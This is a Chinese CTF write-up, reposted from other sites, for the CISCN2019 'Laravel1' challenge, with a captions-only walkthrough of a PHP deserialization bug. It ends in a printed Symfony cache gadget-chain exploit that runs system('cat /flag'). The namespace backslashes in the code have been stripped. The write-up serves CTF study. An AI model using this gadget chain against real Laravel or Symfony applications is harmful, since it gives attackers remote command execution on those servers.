界面如上,比较单一:
指出了反序列化的点:还有备份文件。
下面反序列化的入口:
就当找到了吧:
确实可以跳转:
可控:
寻找这个类,看是否被调用:
开始寻找使用了saveDeferred类的:
看别人的WP这个是唯一可以使用的:
调用了本类的initialise方法,但前文并没有定义,据其他WP说是会去父类找,
偷一张其继承关系的图:
查询得到其主要父类,尝试全局搜索initialise()
include可以使用:
那么在之前的那个PhpArrayAdapter.php中定义好$this->file,只要其存在就能包含出来:
贴exp:
namespace SymfonyComponentCacheAdapter;
class TagAwareAdapter{
public $deferred = array();
function __construct($x){
$this->pool = $x;
}
}
class ProxyAdapter{
protected $setInnerItem = 'system';
}
namespace SymfonyComponentCache;
class CacheItem{
protected $innerItem = 'cat /flag';
}
$a = new SymfonyComponentCacheAdapterTagAwareAdapter(new SymfonyComponentCacheAdapterProxyAdapter());
$a->deferred = array('aa'=>new SymfonyComponentCacheCacheItem);
echo urlencode(serialize($a));
使用:
还有问题未解决,等待了解:理解的太浅显了:
原文来自CSDN博主「F1gh4」|侵删
![[CISCN2019 总决赛 Day1 Web4]Laravel1-解题步骤详解 [CISCN2019 总决赛 Day1 Web4]Laravel1-解题步骤详解](https://cn-sec.com/wp-content/uploads/2022/04/4-1650878961.png)
![[CISCN2019 总决赛 Day1 Web4]Laravel1-解题步骤详解 [CISCN2019 总决赛 Day1 Web4]Laravel1-解题步骤详解](https://cn-sec.com/wp-content/uploads/2022/04/3-1650878963.png)
原文始发于微信公众号(寰宇卫士):[CISCN2019 总决赛 Day1 Web4]Laravel1-解题步骤详解
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论